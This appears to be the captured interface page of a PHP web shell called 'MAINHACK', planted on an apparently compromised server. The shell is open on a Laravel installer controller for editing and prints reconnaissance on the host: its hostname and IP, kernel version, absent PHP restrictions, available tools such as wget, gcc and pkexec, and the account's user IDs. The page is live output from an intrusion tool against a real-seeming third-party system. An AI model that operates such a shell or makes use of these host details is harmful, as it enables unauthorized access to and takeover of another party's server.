[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: InstallController.php
<?php namespace App\Http\Controllers\Install; use App\Http\Controllers\Controller; use App\Utilities\Installer; use Hash; use Illuminate\Http\Request; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Validator; class InstallController extends Controller { public function __construct() { if (env('APP_INSTALLED', false) == true) { Redirect::to('/')->send(); } } public function index() { $requirements = Installer::checkServerRequirements(); return view('install.step_1', compact('requirements')); } public function database() { return view('install.step_2'); } public function process_install(Request $request) { $host = $request->hostname; $database = $request->database; $username = $request->username; $password = $request->password; $license_key = $request->license_key; $envato_username = $request->envato_username; $license_check = Installer::checkLicenseKey($license_key, $envato_username); if ($license_check['result'] == true || $license_check['bypass'] == true) { if (Installer::createDbTables($host, $database, $username, $password) == false) { return redirect()->back()->with("error", "Invalid Database Settings !")->withInput(); } } else { return redirect()->back()->with("error", $license_check['message'])->withInput(); } if($license_check['bypass'] == true){ $message = "Your hosting firewall is blocking the license verification. You need to verify your license while you login to the admin panel."; return redirect('install/create_user')->with("error", $message); } return redirect('install/create_user'); } public function create_user() { return view('install.step_3'); } public function store_user(Request $request) { $validator = Validator::make($request->all(), [ 'name' => 'required|string|max:191', 'email' => 'required|string|email|max:191|unique:users', 'password' => 'required|string|min:6', ]); if ($validator->fails()) { return redirect()->back() ->withErrors($validator) ->withInput(); } $name = $request->name; $email = $request->email; $password = Hash::make($request->password); Installer::createUser($name, $email, $password); return redirect('install/system_settings'); } public function system_settings() { return view('install.step_4'); } public function final_touch(Request $request) { Installer::updateSettings($request->all()); Installer::finalTouches($request->site_title); return redirect()->route('settings.update_settings'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002